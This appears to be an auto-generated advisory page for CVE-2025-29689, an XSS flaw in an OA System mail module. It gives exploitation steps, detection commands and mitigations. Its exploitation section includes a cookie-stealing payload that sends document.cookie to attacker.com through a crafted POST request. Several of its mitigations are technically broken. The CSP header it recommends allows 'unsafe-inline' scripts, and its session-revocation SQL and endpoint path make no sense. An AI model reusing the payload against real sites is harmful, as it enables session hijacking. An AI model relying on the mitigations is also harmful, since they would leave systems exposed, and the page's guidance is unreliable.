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How CVE-2025-29689 Works
This vulnerability exploits improper input sanitization in the OA System’s mail module. Attackers inject malicious JavaScript payloads into the `password` parameter of /mail/MailController.java. When the server processes the request, the script executes in the victim’s browser, enabling session hijacking, phishing, or malware delivery. The flaw stems from missing output encoding in the JSP rendering engine, allowing arbitrary script execution under the context of the authenticated user.
DailyCVE Form
Platform: OA System
Version: < v2025.01.01
Vulnerability: Stored XSS
Severity: Critical
Date: 05/29/2025
Prediction: Patch expected by 06/15/2025
What Undercode Say:
Exploitation
1. Craft Payload:
<script>alert(document.cookie)</script>
2. Inject via Password Field:
POST /mail/MailController.java HTTP/1.1 Host: vulnerable-oa.com Content-Type: application/x-www-form-urlencoded password=%3Cscript%3Efetch(%27https://attacker.com/steal?%27%2Bdocument.cookie)%3C%2Fscript%3E
Detection
1. Manual Testing:
curl -X POST -d "password=<script>confirm(1)</script>" http://target/mail/MailController.java
2. Automated Scanning (ZAP):
zap-cli quick-scan -s xss http://target/mail/
Mitigation
1. Input Sanitization:
String sanitizedPassword = ESAPI.encoder().encodeForHTML(request.getParameter("password"));
2. CSP Header:
add_header Content-Security-Policy "default-src 'self'; script-src 'unsafe-inline'";
3. WAF Rule (ModSecurity):
SecRule ARGS:password "@detectXSS" "id:1001,deny,status:403"
Post-Exploit Analysis
1. Log Review:
grep "MailController.java" /var/log/oa-system/access.log | grep -i "script"
2. Session Revocation:
UPDATE user_sessions SET invalidated=1 WHERE session_id LIKE '%attacker-payload%';
Patch Verification
diff MailController.java.old MailController.java | grep encodeForHTML
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
